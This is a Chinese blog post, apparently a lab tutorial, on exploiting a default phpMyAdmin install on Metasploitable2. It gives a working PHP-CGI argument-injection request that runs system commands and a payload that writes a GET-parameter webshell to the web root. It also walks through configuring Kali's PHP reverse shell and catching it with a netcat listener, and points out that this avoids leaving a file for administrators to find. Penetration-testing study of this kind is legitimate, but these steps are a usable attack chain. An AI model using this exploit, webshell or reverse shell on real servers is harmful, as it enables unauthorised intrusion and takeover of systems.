手动漏洞挖掘 phpMyAdmin默认安装

手动漏洞挖掘(一)

学习web渗透过程中的心得体会以及知识点的整理,方便我自己查找,也希望可以和大家一起交流。

—— phpMyAdmin默认安装漏洞——

需要的工具:

  1. burpsuit
  2. 靶机(我选择的是Metasploitable2)

phpMyAdmin漏洞
安装在web服务器中的web接口,专门用来管理MySQL数据库。对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup。
1.我们可以探索PHP网站(可根据banner等信息判断)的phpmyadmin目录是否可以访问(扫描工具/手动爬网)
2.可以尝试../phpMyAdmin/setup目录是否可以访问【可以不需要身份认证的情况下,对服务器进行配置】

一.利用漏洞重放数据

首先在burpsuite的Repeater输入以下代码:

    POST 
    http://192.168.52.130/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    Host: 192.168.20.10
     
    <?php
    passthru('id');
    die(); 
    ?>

代码的意思是

?-d+allow_url_include%3d1±d
+auto_prepend_file%3dphp://input HTTP/1.1
“?”后面代码含义:PHP的主配置文件.ini进行修改
allow_url_include: 对服务器上的其它文件进行引用
auto_prepend_file: 附加文件
passthru(‘id’): 括号内为系统操作指令
【注意】Host头是必须的,但是里面的内容任意,可以是正常的ip。也可以是123这种。

而后在右上角(如图所示)填入攻击地址
在这里插入图片描述
在这里插入图片描述
接着点击“Go”,攻击就开始进行了,结果会在右边界面显示,如果显示“200 OK”,即为攻击成功,如图:
在这里插入图片描述
接着你可以更改passthru命令die命令,以获得更多的信息,如果找不到命令,可以使用whereis 查找,例如:ifconfig
在这里插入图片描述
例如可以尝试写入权限:
在这里插入图片描述
二.制作并传送简单的webshell
首先我们制作简单的webshell

<?php
\$cmd = \$_GET["cmd"];
system(\$cmd);

在这里插入图片描述
接着我们写入webshell

<?php
passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/a.php');
passthru('cat /var/www/a.php');
die();
?>

代码中的“\”是用来转译,防止将“$”后字符被转译,这样将php代码保存到服务器的Web根目录中从而能够通过访问该目录的文件来实现输入命令,缺点是在服务器中生成一个文件,容易被管理员发现。
在这里插入图片描述
然后就可以访问并查看验证这个木马了:
在这里插入图片描述
直接访问我们新建的文件是看不到的,会报错,system函数没有什么可以执行的,我们需要再来点什么

在这里插入图片描述
cmd=的后面的命令可以更改为其他命令。验证成功。
但是多了个文件,终归是容易被发现的,所以可不可以不产生新文件呢?可以。

四.php反弹shell
kali为我们准备了现成的反弹shell的PHP文件,地址位于:

/usr/share/webshells/php/php-reverse-shell.php

我们把它拷贝出来,我将它重命名为123.php

cp /usr/share/webshells/php/php-reverse-shell.php ./123.php

同时我们要对它进行修改,我们需要配置他的反弹目标,即接受信息的本地ip地址,我们输入命令:

vi 123.php

进入文件后,大约在文件中部,会有配置ip的地方,填入本机ip和侦听端口:在这里插入图片描述
保存并退出后,然后打开文件,复制全部内容粘贴到burpsuite:
在这里插入图片描述
在这里插入图片描述
同时我们开启侦听端口,输入代码:nc -nvvlp 1234

在这里插入图片描述
接着攻击目标
在这里插入图片描述
我们并没有生成新文件,隐蔽性更好,成功后可以使用nc直接操作,如图:
在这里插入图片描述
接着,我们想要查看服务器的ip,但是返回时并没有这个指令,问题出在,

我们利用这个方法所获得的账号依旧是访问的账号,权限一样,并且作为访问账号,有可能缺少环境变量,这就导致这个账号并不知道ifconfig命令是什么,

这个时候我们可以尝试使用 whereis命令,如图:
在这里插入图片描述
好的,我们知道了ifconfig命令在sbin目录下,我们尝试进入到sbin目录(有可能失败有可能成功),成功后,使用ifconfig命令,可以查看到服务器的ip地址等一系列信息了。
在这里插入图片描述

发布了24 篇原创文章 · 获赞 8 · 访问量 4847

猜你喜欢

转载自blog.csdn.net/qq_44867435/article/details/99208602
今日推荐